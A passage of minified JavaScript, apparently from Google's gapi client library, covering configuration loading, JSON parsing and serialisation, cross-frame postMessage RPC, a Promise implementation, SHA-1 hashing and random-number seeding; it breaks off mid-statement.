je=function(a,b){var c={___goc:void 0};a.length&&a[a.length-1]&&Object.hasOwnProperty.call(a[a.length-1],"___goc")&&"undefined"===typeof a[a.length-1].___goc&&(c=a.pop());he(c,b);a.push(c)}; ke=function(a){fe(!0);var b=window.___gcfg,c=ee("cu"),d=window.___gu;b&&b!==d&&(je(c,b),window.___gu=b);b=ee("cu");var e=window.document.scripts||window.document.getElementsByTagName("script")||[];d=[];var f=[];f.push.apply(f,ee("us"));for(var h=0;h<e.length;++h)for(var k=e[h],l=0;l<f.length;++l)k.src&&0==k.src.indexOf(f[l])&&d.push(k);0==d.length&&0<e.length&&e[e.length-1].src&&d.push(e[e.length-1]);for(e=0;e<d.length;++e)d[e].getAttribute("gapi_processed")||(d[e].setAttribute("gapi_processed",!0), (f=d[e])?(h=f.nodeType,f=3==h||4==h?f.nodeValue:f.textContent||f.innerText||f.innerHTML||""):f=void 0,(f=ie(f))&&b.push(f));a&&je(c,a);d=ee("cd");a=0;for(b=d.length;a<b;++a)he(fe(),d[a],!0);d=ee("ci");a=0;for(b=d.length;a<b;++a)he(fe(),d[a],!0);a=0;for(b=c.length;a<b;++a)he(fe(),c[a],!0)};_.H=function(a,b){var c=fe();if(!a)return c;a=a.split("/");for(var d=0,e=a.length;c&&"object"===typeof c&&d<e;++d)c=c[a[d]];return d===a.length&&void 0!==c?c:b}; _.le=function(a,b){var c;if("string"===typeof a){var d=c={};a=a.split("/");for(var e=0,f=a.length;e<f-1;++e){var h={};d=d[a[e]]=h}d[a[e]]=b}else c=a;ke(c)}; var me=function(){var a=window.__GOOGLEAPIS;a&&(a.googleapis&&!a["googleapis.config"]&&(a["googleapis.config"]=a.googleapis),_.Td(_.ce,"ci",[]).push(a),window.__GOOGLEAPIS=void 0)};me&&me();ke();_.w("gapi.config.get",_.H);_.w("gapi.config.update",_.le); _.ne=function(a,b){var c=b||window.document;if(c.getElementsByClassName)a=c.getElementsByClassName(a)[0];else{c=window.document;var d=b||c;a=d.querySelectorAll&&d.querySelector&&a?d.querySelector(a?"."+a:""):_.vd(c,"*",a,b)[0]||null}return a||null}; var xe,ye,ze,Ae,Be,Ce,De,Ee,Fe,Ge,He,Ie,Je,Ke,Le,Me,Ne,Oe,Pe,Qe,Re,Se,Te,Ue,Ve,We,Xe,Ze,$e,af,bf,ef,ff;ze=void 0;Ae=function(a){try{return _.m.JSON.parse.call(_.m.JSON,a)}catch(b){return!1}};Be=function(a){return Object.prototype.toString.call(a)};Ce=Be(0);De=Be(new Date(0));Ee=Be(!0);Fe=Be("");Ge=Be({});He=Be([]); Ie=function(a,b){if(b)for(var c=0,d=b.length;c<d;++c)if(a===b[c])throw new TypeError("Converting circular structure to JSON");d=typeof a;if("undefined"!==d){c=Array.prototype.slice.call(b||[],0);c[c.length]=a;b=[];var e=Be(a);if(null!=a&&"function"===typeof a.toJSON&&(Object.prototype.hasOwnProperty.call(a,"toJSON")||(e!==He||a.constructor!==Array&&a.constructor!==Object)&&(e!==Ge||a.constructor!==Array&&a.constructor!==Object)&&e!==Fe&&e!==Ce&&e!==Ee&&e!==De))return Ie(a.toJSON.call(a),c);if(null== a)b[b.length]="null";else if(e===Ce)a=Number(a),(0,window.isNaN)(a)||(0,window.isNaN)(a-a)?a="null":-0===a&&0>1/a&&(a="-0"),b[b.length]=String(a);else if(e===Ee)b[b.length]=String(!!Number(a));else{if(e===De)return Ie(a.toISOString.call(a),c);if(e===He&&Be(a.length)===Ce){b[b.length]="[";var f=0;for(d=Number(a.length)>>0;f<d;++f)f&&(b[b.length]=","),b[b.length]=Ie(a[f],c)||"null";b[b.length]="]"}else if(e==Fe&&Be(a.length)===Ce){b[b.length]='"';f=0;for(c=Number(a.length)>>0;f<c;++f)d=String.prototype.charAt.call(a, f),e=String.prototype.charCodeAt.call(a,f),b[b.length]="\b"===d?"\\b":"\f"===d?"\\f":"\n"===d?"\\n":"\r"===d?"\\r":"\t"===d?"\\t":"\\"===d||'"'===d?"\\"+d:31>=e?"\\u"+(e+65536).toString(16).substr(1):32<=e&&65535>=e?d:"\ufffd";b[b.length]='"'}else if("object"===d){b[b.length]="{";d=0;for(f in a)Object.prototype.hasOwnProperty.call(a,f)&&(e=Ie(a[f],c),void 0!==e&&(d++&&(b[b.length]=","),b[b.length]=Ie(f),b[b.length]=":",b[b.length]=e));b[b.length]="}"}else return}return b.join("")}};Je=/[\0-\x07\x0b\x0e-\x1f]/; Ke=/^([^"]*"([^\\"]|\\.)*")*[^"]*"([^"\\]|\\.)*[\0-\x1f]/;Le=/^([^"]*"([^\\"]|\\.)*")*[^"]*"([^"\\]|\\.)*\\[^\\\/"bfnrtu]/;Me=/^([^"]*"([^\\"]|\\.)*")*[^"]*"([^"\\]|\\.)*\\u([0-9a-fA-F]{0,3}[^0-9a-fA-F])/;Ne=/"([^\0-\x1f\\"]|\\[\\\/"bfnrt]|\\u[0-9a-fA-F]{4})*"/g;Oe=/-?(0|[1-9][0-9]*)(\.[0-9]+)?([eE][-+]?[0-9]+)?/g;Pe=/[ \t\n\r]+/g;Qe=/[^"]:/;Re=/""/g;Se=/true|false|null/g;Te=/00/;Ue=/[\{]([^0\}]|0[^:])/;Ve=/(^|\[)[,:]|[,:](\]|\}|[,:]|$)/;We=/[^\[,:][\[\{]/;Xe=/^(\{|\}|\[|\]|,|:|0)+/;Ze=/\u2028/g; $e=/\u2029/g; af=function(a){a=String(a);if(Je.test(a)||Ke.test(a)||Le.test(a)||Me.test(a))return!1;var b=a.replace(Ne,'""');b=b.replace(Oe,"0");b=b.replace(Pe,"");if(Qe.test(b))return!1;b=b.replace(Re,"0");b=b.replace(Se,"0");if(Te.test(b)||Ue.test(b)||Ve.test(b)||We.test(b)||!b||(b=b.replace(Xe,"")))return!1;a=a.replace(Ze,"\\u2028").replace($e,"\\u2029");b=void 0;try{b=ze?[Ae(a)]:eval("(function (var_args) {\n return Array.prototype.slice.call(arguments, 0);\n})(\n"+a+"\n)")}catch(c){return!1}return b&&1=== b.length?b[0]:!1};bf=function(){var a=((_.m.document||{}).scripts||[]).length;if((void 0===xe||void 0===ze||ye!==a)&&-1!==ye){xe=ze=!1;ye=-1;try{try{ze=!!_.m.JSON&&'{"a":[3,true,"1970-01-01T00:00:00.000Z"]}'===_.m.JSON.stringify.call(_.m.JSON,{a:[3,!0,new Date(0)],c:function(){}})&&!0===Ae("true")&&3===Ae('[{"a":3}]')[0].a}catch(b){}xe=ze&&!Ae("[00]")&&!Ae('"\u0007"')&&!Ae('"\\0"')&&!Ae('"\\v"')}finally{ye=a}}};_.cf=function(a){if(-1===ye)return!1;bf();return(xe?Ae:af)(a)}; _.df=function(a){if(-1!==ye)return bf(),ze?_.m.JSON.stringify.call(_.m.JSON,a):Ie(a)};ef=!Date.prototype.toISOString||"function"!==typeof Date.prototype.toISOString||"1970-01-01T00:00:00.000Z"!==(new Date(0)).toISOString(); ff=function(){var a=Date.prototype.getUTCFullYear.call(this);return[0>a?"-"+String(1E6-a).substr(1):9999>=a?String(1E4+a).substr(1):"+"+String(1E6+a).substr(1),"-",String(101+Date.prototype.getUTCMonth.call(this)).substr(1),"-",String(100+Date.prototype.getUTCDate.call(this)).substr(1),"T",String(100+Date.prototype.getUTCHours.call(this)).substr(1),":",String(100+Date.prototype.getUTCMinutes.call(this)).substr(1),":",String(100+Date.prototype.getUTCSeconds.call(this)).substr(1),".",String(1E3+Date.prototype.getUTCMilliseconds.call(this)).substr(1), "Z"].join("")};Date.prototype.toISOString=ef?ff:Date.prototype.toISOString; _.w("gadgets.json.stringify",_.df);_.w("gadgets.json.parse",_.cf); _.Xj=window.gapi&&window.gapi.util||{}; _.Zj=function(a){if(!a)return"";a=a.split("#")[0].split("?")[0];a=a.toLowerCase();0==a.indexOf("//")&&(a=window.location.protocol+a);/^[\w\-]*:\/\//.test(a)||(a=window.location.href);var b=a.substring(a.indexOf("://")+3),c=b.indexOf("/");-1!=c&&(b=b.substring(0,c));a=a.substring(0,a.indexOf("://"));if("http"!==a&&"https"!==a&&"chrome-extension"!==a&&"file"!==a&&"android-app"!==a&&"chrome-search"!==a&&"app"!==a)throw Error("L`"+a);c="";var d=b.indexOf(":");if(-1!=d){var e=b.substring(d+1);b=b.substring(0, d);if("http"===a&&"80"!==e||"https"===a&&"443"!==e)c=":"+e}return a+"://"+b+c}; _.Xj.Qa=function(a){return _.Zj(a)}; _.qe=window.console;_.ue=function(a){_.qe&&_.qe.log&&_.qe.log(a)};_.ve=function(){}; _.I=_.I||{}; _.I=_.I||{}; (function(){var a=null;_.I.xc=function(b){var c="undefined"===typeof b;if(null!==a&&c)return a;var d={};b=b||window.location.href;var e=b.indexOf("?"),f=b.indexOf("#");b=(-1===f?b.substr(e+1):[b.substr(e+1,f-e-1),"&",b.substr(f+1)].join("")).split("&");e=window.decodeURIComponent?window.decodeURIComponent:window.unescape;f=0;for(var h=b.length;f<h;++f){var k=b[f].indexOf("=");if(-1!==k){var l=b[f].substring(0,k);k=b[f].substring(k+1);k=k.replace(/\+/g," ");try{d[l]=e(k)}catch(n){}}}c&&(a=d);return d}; _.I.xc()})(); _.w("gadgets.util.getUrlParameters",_.I.xc); _.Xd(_.Nd.location.href,"rpctoken")&&_.be(_.Qd,"unload",function(){}); var dm=function(){this.$r={tK:Xl?"../"+Xl:null,NQ:Yl,GH:Zl,C9:$l,eu:am,l$:bm};this.Ee=_.Nd;this.gK=this.JQ;this.tR=/MSIE\s*[0-8](\D|$)/.test(window.navigator.userAgent);if(this.$r.tK){this.Ee=this.$r.GH(this.Ee,this.$r.tK);var a=this.Ee.document,b=a.createElement("script");b.setAttribute("type","text/javascript");b.text="window.doPostMsg=function(w,s,o) {window.setTimeout(function(){w.postMessage(s,o);},0);};";a.body.appendChild(b);this.gK=this.Ee.doPostMsg}this.kD={};this.FD={};a=(0,_.A)(this.hA, this);_.be(this.Ee,"message",a);_.Td(_.ce,"RPMQ",[]).push(a);this.Ee!=this.Ee.parent&&cm(this,this.Ee.parent,'{"h":"'+(0,window.escape)(this.Ee.name)+'"}',"*")},em=function(a){var b=null;0===a.indexOf('{"h":"')&&a.indexOf('"}')===a.length-2&&(b=(0,window.unescape)(a.substring(6,a.length-2)));return b},fm=function(a){if(!/^\s*{/.test(a))return!1;a=_.cf(a);return null!==a&&"object"===typeof a&&!!a.g}; dm.prototype.hA=function(a){var b=String(a.data);(0,_.ve)("gapi.rpc.receive("+$l+"): "+(!b||512>=b.length?b:b.substr(0,512)+"... ("+b.length+" bytes)"));var c=0!==b.indexOf("!_");c||(b=b.substring(2));var d=fm(b);if(!c&&!d){if(!d&&(c=em(b))){if(this.kD[c])this.kD[c]();else this.FD[c]=1;return}var e=a.origin,f=this.$r.NQ;this.tR?_.Nd.setTimeout(function(){f(b,e)},0):f(b,e)}};dm.prototype.Dc=function(a,b){".."===a||this.FD[a]?(b(),delete this.FD[a]):this.kD[a]=b}; var cm=function(a,b,c,d){var e=fm(c)?"":"!_";(0,_.ve)("gapi.rpc.send("+$l+"): "+(!c||512>=c.length?c:c.substr(0,512)+"... ("+c.length+" bytes)"));a.gK(b,e+c,d)};dm.prototype.JQ=function(a,b,c){a.postMessage(b,c)};dm.prototype.send=function(a,b,c){(a=this.$r.GH(this.Ee,a))&&!a.closed&&cm(this,a,b,c)}; var gm,hm,im,jm,km,lm,mm,nm,Xl,$l,om,pm,qm,rm,Zl,am,sm,tm,ym,zm,Bm,bm,Dm,Cm,um,vm,Em,Yl,Fm,Gm;gm=0;hm=[];im={};jm={};km=_.I.xc;lm=km();mm=lm.rpctoken;nm=lm.parent||_.Qd.referrer;Xl=lm.rly;$l=Xl||(_.Nd!==_.Nd.top||_.Nd.opener)&&_.Nd.name||"..";om=null;pm={};qm=function(){};rm={send:qm,Dc:qm}; Zl=function(a,b){"/"==b.charAt(0)&&(b=b.substring(1),a=_.Nd.top);for(b=b.split("/");b.length;){var c=b.shift();"{"==c.charAt(0)&&"}"==c.charAt(c.length-1)&&(c=c.substring(1,c.length-1));if(".."===c)a=a==a.parent?a.opener:a.parent;else if(".."!==c&&a.frames[c]){if(a=a.frames[c],!("postMessage"in a))throw"Not a window";}else return null}return a};am=function(a){return(a=im[a])&&a.zk}; sm=function(a){if(a.f in{})return!1;var b=a.t,c=im[a.r];a=a.origin;return c&&(c.zk===b||!c.zk&&!b)&&(a===c.origin||"*"===c.origin)};tm=function(a){var b=a.id.split("/"),c=b[b.length-1],d=a.origin;return function(a){var b=a.origin;return a.f==c&&(d==b||"*"==d)}};_.wm=function(a,b,c){a=um(a);jm[a.name]={Lg:b,Nq:a.Nq,zo:c||sm};vm()};_.xm=function(a){delete jm[um(a).name]};ym={};zm=function(a,b){(a=ym["_"+a])&&a[1](this)&&a[0].call(this,b)}; Bm=function(a){var b=a.c;if(!b)return qm;var c=a.r,d=a.g?"legacy__":"";return function(){var a=[].slice.call(arguments,0);a.unshift(c,d+"__cb",null,b);_.Am.apply(null,a)}};bm=function(a){om=a};Dm=function(a){pm[a]||(pm[a]=_.Nd.setTimeout(function(){pm[a]=!1;Cm(a)},0))};Cm=function(a){var b=im[a];if(b&&b.ready){var c=b.dC;for(b.dC=[];c.length;)rm.send(a,_.df(c.shift()),b.origin)}};um=function(a){return 0===a.indexOf("legacy__")?{name:a.substring(8),Nq:!0}:{name:a,Nq:!1}}; vm=function(){for(var a=_.H("rpc/residenceSec")||60,b=(new Date).getTime()/1E3,c=0,d;d=hm[c];++c){var e=d.hm;if(!e||0<a&&b-d.timestamp>a)hm.splice(c,1),--c;else{var f=e.s,h=jm[f]||jm["*"];if(h)if(hm.splice(c,1),--c,e.origin=d.origin,d=Bm(e),e.callback=d,h.zo(e)){if("__cb"!==f&&!!h.Nq!=!!e.g)break;e=h.Lg.apply(e,e.a);void 0!==e&&d(e)}else(0,_.ve)("gapi.rpc.rejected("+$l+"): "+f)}}};Em=function(a,b,c){hm.push({hm:a,origin:b,timestamp:(new Date).getTime()/1E3});c||vm()}; Yl=function(a,b){a=_.cf(a);Em(a,b,!1)};Fm=function(a){for(;a.length;)Em(a.shift(),this.origin,!0);vm()};Gm=function(a){var b=!1;a=a.split("|");var c=a[0];0<=c.indexOf("/")&&(b=!0);return{id:c,origin:a[1]||"*",QA:b}}; _.Hm=function(a,b,c,d){var e=Gm(a);d&&(_.Nd.frames[e.id]=_.Nd.frames[e.id]||d);a=e.id;if(!im.hasOwnProperty(a)){c=c||null;d=e.origin;if(".."===a)d=_.Xj.Qa(nm),c=c||mm;else if(!e.QA){var f=_.Qd.getElementById(a);f&&(f=f.src,d=_.Xj.Qa(f),c=c||km(f).rpctoken)}"*"===e.origin&&d||(d=e.origin);im[a]={zk:c,dC:[],origin:d,xY:b,mK:function(){var b=a;im[b].ready=1;Cm(b)}};rm.Dc(a,im[a].mK)}return im[a].mK}; _.Am=function(a,b,c,d){a=a||"..";_.Hm(a);a=a.split("|",1)[0];var e=b,f=[].slice.call(arguments,3),h=c,k=$l,l=mm,n=im[a],p=k,q=Gm(a);if(n&&".."!==a){if(q.QA){if(!(l=im[a].xY)){l=om?om.substring(1).split("/"):[$l];p=l.length-1;for(var t=_.Nd.parent;t!==_.Nd.top;){var x=t.parent;if(!p--){for(var v=null,y=x.frames.length,F=0;F<y;++F)x.frames[F]==t&&(v=F);l.unshift("{"+v+"}")}t=x}l="/"+l.join("/")}p=l}else p=k="..";l=n.zk}h&&q?(n=sm,q.QA&&(n=tm(q)),ym["_"+ ++gm]=[h,n],h=gm):h=null;f={s:e,f:k,r:p,t:l,c:h, a:f};e=um(e);f.s=e.name;f.g=e.Nq;im[a].dC.push(f);Dm(a)};if("function"===typeof _.Nd.postMessage||"object"===typeof _.Nd.postMessage)rm=new dm,_.wm("__cb",zm,function(){return!0}),_.wm("_processBatch",Fm,function(){return!0}),_.Hm(".."); _.Of=function(a,b){var c=Array.prototype.slice.call(arguments,1);return function(){var b=c.slice();b.push.apply(b,arguments);return a.apply(this,b)}};_.Pf=function(a,b){a:{for(var c=a.length,d=_.u(a)?a.split(""):a,e=0;e<c;e++)if(e in d&&b.call(void 0,d[e],e,a)){b=e;break a}b=-1}return 0>b?null:_.u(a)?a.charAt(b):a[b]};_.Qf=[];_.Rf=[];_.Sf=!1;_.Tf=function(a){_.Qf[_.Qf.length]=a;if(_.Sf)for(var b=0;b<_.Rf.length;b++)a((0,_.A)(_.Rf[b].wrap,_.Rf[b]))}; _.Hg=function(a){return function(){return a}}(!0); var Ng;_.Ig=function(a){if(Error.captureStackTrace)Error.captureStackTrace(this,_.Ig);else{var b=Error().stack;b&&(this.stack=b)}a&&(this.message=String(a))};_.z(_.Ig,Error);_.Ig.prototype.name="CustomError";_.Jg=function(a,b){for(var c in a)if(!(c in b)||a[c]!==b[c])return!1;for(c in b)if(!(c in a))return!1;return!0};_.Kg=function(a){var b={},c;for(c in a)b[c]=a[c];return b};_.Lg=function(a,b){a.src=_.Sc(b)};_.Mg=function(a){return a};Ng=function(a,b){this.FQ=a;this.lY=b;this.mv=0;this.Pe=null}; Ng.prototype.get=function(){if(0<this.mv){this.mv--;var a=this.Pe;this.Pe=a.next;a.next=null}else a=this.FQ();return a};Ng.prototype.put=function(a){this.lY(a);100>this.mv&&(this.mv++,a.next=this.Pe,this.Pe=a)}; var Og,Qg,Rg,Pg;Og=function(a){_.m.setTimeout(function(){throw a;},0)};_.Sg=function(a){a=Pg(a);!_.Xa(_.m.setImmediate)||_.m.Window&&_.m.Window.prototype&&!_.Db("Edge")&&_.m.Window.prototype.setImmediate==_.m.setImmediate?(Qg||(Qg=Rg()),Qg(a)):_.m.setImmediate(a)}; Rg=function(){var a=_.m.MessageChannel;"undefined"===typeof a&&"undefined"!==typeof window&&window.postMessage&&window.addEventListener&&!_.Db("Presto")&&(a=function(){var a=window.document.createElement("IFRAME");a.style.display="none";a.src="";window.document.documentElement.appendChild(a);var b=a.contentWindow;a=b.document;a.open();a.write("");a.close();var c="callImmediate"+Math.random(),d="file:"==b.location.protocol?"*":b.location.protocol+"//"+b.location.host;a=(0,_.A)(function(a){if(("*"== d||a.origin==d)&&a.data==c)this.port1.onmessage()},this);b.addEventListener("message",a,!1);this.port1={};this.port2={postMessage:function(){b.postMessage(c,d)}}});if("undefined"!==typeof a&&!_.Ib()){var b=new a,c={},d=c;b.port1.onmessage=function(){if(_.r(c.next)){c=c.next;var a=c.cb;c.cb=null;a()}};return function(a){d.next={cb:a};d=d.next;b.port2.postMessage(0)}}return"undefined"!==typeof window.document&&"onreadystatechange"in window.document.createElement("SCRIPT")?function(a){var b=window.document.createElement("SCRIPT"); b.onreadystatechange=function(){b.onreadystatechange=null;b.parentNode.removeChild(b);b=null;a();a=null};window.document.documentElement.appendChild(b)}:function(a){_.m.setTimeout(a,0)}};Pg=_.Mg;_.Tf(function(a){Pg=a}); var Tg=function(){this.Ow=this.Co=null},Vg=new Ng(function(){return new Ug},function(a){a.reset()});Tg.prototype.add=function(a,b){var c=Vg.get();c.set(a,b);this.Ow?this.Ow.next=c:this.Co=c;this.Ow=c};Tg.prototype.remove=function(){var a=null;this.Co&&(a=this.Co,this.Co=this.Co.next,this.Co||(this.Ow=null),a.next=null);return a};var Ug=function(){this.next=this.scope=this.Lg=null};Ug.prototype.set=function(a,b){this.Lg=a;this.scope=b;this.next=null}; Ug.prototype.reset=function(){this.next=this.scope=this.Lg=null}; var Wg,Xg,Yg,Zg,ah;_.$g=function(a,b){Wg||Xg();Yg||(Wg(),Yg=!0);Zg.add(a,b)};Xg=function(){if(-1!=String(_.m.Promise).indexOf("[native code]")){var a=_.m.Promise.resolve(void 0);Wg=function(){a.then(ah)}}else Wg=function(){_.Sg(ah)}};Yg=!1;Zg=new Tg;ah=function(){for(var a;a=Zg.remove();){try{a.Lg.call(a.scope)}catch(b){Og(b)}Vg.put(a)}Yg=!1}; _.bh=function(a){a.prototype.then=a.prototype.then;a.prototype.$goog_Thenable=!0};_.ch=function(a){if(!a)return!1;try{return!!a.$goog_Thenable}catch(b){return!1}};var eh,fh,ph,nh;_.dh=function(a,b){this.Da=0;this.Si=void 0;this.Tm=this.yj=this.hb=null;this.iu=this.bz=!1;if(a!=_.Va)try{var c=this;a.call(b,function(a){c.Xg(2,a)},function(a){c.Xg(3,a)})}catch(d){this.Xg(3,d)}};eh=function(){this.next=this.context=this.On=this.Yq=this.Ok=null;this.Wo=!1};eh.prototype.reset=function(){this.context=this.On=this.Yq=this.Ok=null;this.Wo=!1};fh=new Ng(function(){return new eh},function(a){a.reset()});_.gh=function(a,b,c){var d=fh.get();d.Yq=a;d.On=b;d.context=c;return d}; _.hh=function(a){if(a instanceof _.dh)return a;var b=new _.dh(_.Va);b.Xg(2,a);return b};_.ih=function(a){return new _.dh(function(b,c){c(a)})};_.kh=function(a,b,c){jh(a,b,c,null)||_.$g(_.Of(b,a))};_.mh=function(){var a,b,c=new _.dh(function(c,e){a=c;b=e});return new lh(c,a,b)};_.dh.prototype.then=function(a,b,c){return nh(this,_.Xa(a)?a:null,_.Xa(b)?b:null,c)};_.bh(_.dh);_.dh.prototype.Aw=function(a,b){return nh(this,null,a,b)}; _.dh.prototype.cancel=function(a){0==this.Da&&_.$g(function(){var b=new oh(a);ph(this,b)},this)};ph=function(a,b){if(0==a.Da)if(a.hb){var c=a.hb;if(c.yj){for(var d=0,e=null,f=null,h=c.yj;h&&(h.Wo||(d++,h.Ok==a&&(e=h),!(e&&1<d)));h=h.next)e||(f=h);e&&(0==c.Da&&1==d?ph(c,b):(f?(d=f,d.next==c.Tm&&(c.Tm=d),d.next=d.next.next):qh(c),rh(c,e,3,b)))}a.hb=null}else a.Xg(3,b)};_.th=function(a,b){a.yj||2!=a.Da&&3!=a.Da||sh(a);a.Tm?a.Tm.next=b:a.yj=b;a.Tm=b}; nh=function(a,b,c,d){var e=_.gh(null,null,null);e.Ok=new _.dh(function(a,h){e.Yq=b?function(c){try{var e=b.call(d,c);a(e)}catch(n){h(n)}}:a;e.On=c?function(b){try{var e=c.call(d,b);!_.r(e)&&b instanceof oh?h(b):a(e)}catch(n){h(n)}}:h});e.Ok.hb=a;_.th(a,e);return e.Ok};_.dh.prototype.z_=function(a){this.Da=0;this.Xg(2,a)};_.dh.prototype.A_=function(a){this.Da=0;this.Xg(3,a)}; _.dh.prototype.Xg=function(a,b){0==this.Da&&(this===b&&(a=3,b=new TypeError("Promise cannot resolve to itself")),this.Da=1,jh(b,this.z_,this.A_,this)||(this.Si=b,this.Da=a,this.hb=null,sh(this),3!=a||b instanceof oh||uh(this,b)))}; var jh=function(a,b,c,d){if(a instanceof _.dh)return _.th(a,_.gh(b||_.Va,c||null,d)),!0;if(_.ch(a))return a.then(b,c,d),!0;if(_.Ya(a))try{var e=a.then;if(_.Xa(e))return vh(a,e,b,c,d),!0}catch(f){return c.call(d,f),!0}return!1},vh=function(a,b,c,d,e){var f=!1,h=function(a){f||(f=!0,c.call(e,a))},k=function(a){f||(f=!0,d.call(e,a))};try{b.call(a,h,k)}catch(l){k(l)}},sh=function(a){a.bz||(a.bz=!0,_.$g(a.eR,a))},qh=function(a){var b=null;a.yj&&(b=a.yj,a.yj=b.next,b.next=null);a.yj||(a.Tm=null);return b}; _.dh.prototype.eR=function(){for(var a;a=qh(this);)rh(this,a,this.Da,this.Si);this.bz=!1};var rh=function(a,b,c,d){if(3==c&&b.On&&!b.Wo)for(;a&&a.iu;a=a.hb)a.iu=!1;if(b.Ok)b.Ok.hb=null,wh(b,c,d);else try{b.Wo?b.Yq.call(b.context):wh(b,c,d)}catch(e){xh.call(null,e)}fh.put(b)},wh=function(a,b,c){2==b?a.Yq.call(a.context,c):a.On&&a.On.call(a.context,c)},uh=function(a,b){a.iu=!0;_.$g(function(){a.iu&&xh.call(null,b)})},xh=Og,oh=function(a){_.Ig.call(this,a)};_.z(oh,_.Ig);oh.prototype.name="cancel"; var lh=function(a,b,c){this.promise=a;this.resolve=b;this.reject=c}; _.Im=function(a){return new _.dh(a)}; _.Jm=_.Jm||{};_.Jm.oT=function(){var a=0,b=0;window.self.innerHeight?(a=window.self.innerWidth,b=window.self.innerHeight):window.document.documentElement&&window.document.documentElement.clientHeight?(a=window.document.documentElement.clientWidth,b=window.document.documentElement.clientHeight):window.document.body&&(a=window.document.body.clientWidth,b=window.document.body.clientHeight);return{width:a,height:b}}; _.Jm=_.Jm||{}; (function(){function a(a,c){window.getComputedStyle(a,"").getPropertyValue(c).match(/^([0-9]+)/);return(0,window.parseInt)(RegExp.$1,10)}_.Jm.Xc=function(){var b=_.Jm.oT().height,c=window.document.body,d=window.document.documentElement;if("CSS1Compat"===window.document.compatMode&&d.scrollHeight)return d.scrollHeight!==b?d.scrollHeight:d.offsetHeight;if(0<=window.navigator.userAgent.indexOf("AppleWebKit")){b=0;for(c=[window.document.body];0<c.length;){var e=c.shift();d=e.childNodes;if("undefined"!== typeof e.style){var f=e.style.overflowY;f||(f=(f=window.document.defaultView.getComputedStyle(e,null))?f.overflowY:null);if("visible"!=f&&"inherit"!=f&&(f=e.style.height,f||(f=(f=window.document.defaultView.getComputedStyle(e,null))?f.height:""),0<f.length&&"auto"!=f))continue}for(e=0;e<d.length;e++){f=d[e];if("undefined"!==typeof f.offsetTop&&"undefined"!==typeof f.offsetHeight){var h=f.offsetTop+f.offsetHeight+a(f,"margin-bottom");b=Math.max(b,h)}c.push(f)}}return b+a(window.document.body,"border-bottom")+ a(window.document.body,"margin-bottom")+a(window.document.body,"padding-bottom")}if(c&&d)return e=d.scrollHeight,f=d.offsetHeight,d.clientHeight!==f&&(e=c.scrollHeight,f=c.offsetHeight),e>b?e>f?e:f:e<f?e:f}})(); var fl;fl=/^https?:\/\/(?:\w|[\-\.])+\.google\.(?:\w|[\-:\.])+(?:\/[^\?#]*)?\/u\/(\d)\//; _.gl=function(a){var b=_.H("googleapis.config/sessionIndex");"string"===typeof b&&254<b.length&&(b=null);null==b&&(b=window.__X_GOOG_AUTHUSER);"string"===typeof b&&254<b.length&&(b=null);if(null==b){var c=window.google;c&&(b=c.authuser)}"string"===typeof b&&254<b.length&&(b=null);null==b&&(a=a||window.location.href,b=_.Xd(a,"authuser")||null,null==b&&(b=(b=a.match(fl))?b[1]:null));if(null==b)return null;b=String(b);254<b.length&&(b=null);return b}; var ll=function(){this.wj=-1};_.ml=function(){this.wj=64;this.Fc=[];this.Rx=[];this.rP=[];this.zv=[];this.zv[0]=128;for(var a=1;a<this.wj;++a)this.zv[a]=0;this.Dw=this.An=0;this.reset()};_.z(_.ml,ll);_.ml.prototype.reset=function(){this.Fc[0]=1732584193;this.Fc[1]=4023233417;this.Fc[2]=2562383102;this.Fc[3]=271733878;this.Fc[4]=3285377520;this.Dw=this.An=0}; var nl=function(a,b,c){c||(c=0);var d=a.rP;if(_.u(b))for(var e=0;16>e;e++)d[e]=b.charCodeAt(c)<<24|b.charCodeAt(c+1)<<16|b.charCodeAt(c+2)<<8|b.charCodeAt(c+3),c+=4;else for(e=0;16>e;e++)d[e]=b[c]<<24|b[c+1]<<16|b[c+2]<<8|b[c+3],c+=4;for(e=16;80>e;e++){var f=d[e-3]^d[e-8]^d[e-14]^d[e-16];d[e]=(f<<1|f>>>31)&4294967295}b=a.Fc[0];c=a.Fc[1];var h=a.Fc[2],k=a.Fc[3],l=a.Fc[4];for(e=0;80>e;e++){if(40>e)if(20>e){f=k^c&(h^k);var n=1518500249}else f=c^h^k,n=1859775393;else 60>e?(f=c&h|k&(c|h),n=2400959708): (f=c^h^k,n=3395469782);f=(b<<5|b>>>27)+f+l+n+d[e]&4294967295;l=k;k=h;h=(c<<30|c>>>2)&4294967295;c=b;b=f}a.Fc[0]=a.Fc[0]+b&4294967295;a.Fc[1]=a.Fc[1]+c&4294967295;a.Fc[2]=a.Fc[2]+h&4294967295;a.Fc[3]=a.Fc[3]+k&4294967295;a.Fc[4]=a.Fc[4]+l&4294967295}; _.ml.prototype.update=function(a,b){if(null!=a){_.r(b)||(b=a.length);for(var c=b-this.wj,d=0,e=this.Rx,f=this.An;d<b;){if(0==f)for(;d<=c;)nl(this,a,d),d+=this.wj;if(_.u(a))for(;d<b;){if(e[f]=a.charCodeAt(d),++f,++d,f==this.wj){nl(this,e);f=0;break}}else for(;d<b;)if(e[f]=a[d],++f,++d,f==this.wj){nl(this,e);f=0;break}}this.An=f;this.Dw+=b}}; _.ml.prototype.digest=function(){var a=[],b=8*this.Dw;56>this.An?this.update(this.zv,56-this.An):this.update(this.zv,this.wj-(this.An-56));for(var c=this.wj-1;56<=c;c--)this.Rx[c]=b&255,b/=256;nl(this,this.Rx);for(c=b=0;5>c;c++)for(var d=24;0<=d;d-=8)a[b]=this.Fc[c]>>d&255,++b;return a}; _.ol=function(){this.jD=new _.ml};_.g=_.ol.prototype;_.g.reset=function(){this.jD.reset()};_.g.qM=function(a){this.jD.update(a)};_.g.pG=function(){return this.jD.digest()};_.g.HD=function(a){a=(0,window.unescape)((0,window.encodeURIComponent)(a));for(var b=[],c=0,d=a.length;c<d;++c)b.push(a.charCodeAt(c));this.qM(b)};_.g.Ig=function(){for(var a=this.pG(),b="",c=0;c<a.length;c++)b+="0123456789ABCDEF".charAt(Math.floor(a[c]/16))+"0123456789ABCDEF".charAt(a[c]%16);return b}; var Lm,Km,Rm,Sm,Mm,Pm,Nm,Tm,Om;_.Qm=function(){if(Km){var a=new _.Nd.Uint32Array(1);Lm.getRandomValues(a);a=Number("0."+a[0])}else a=Mm,a+=(0,window.parseInt)(Nm.substr(0,20),16),Nm=Om(Nm),a/=Pm+Math.pow(16,20);return a};Lm=_.Nd.crypto;Km=!1;Rm=0;Sm=0;Mm=1;Pm=0;Nm="";Tm=function(a){a=a||_.Nd.event;var b=a.screenX+a.clientX<<16;b+=a.screenY+a.clientY;b*=(new 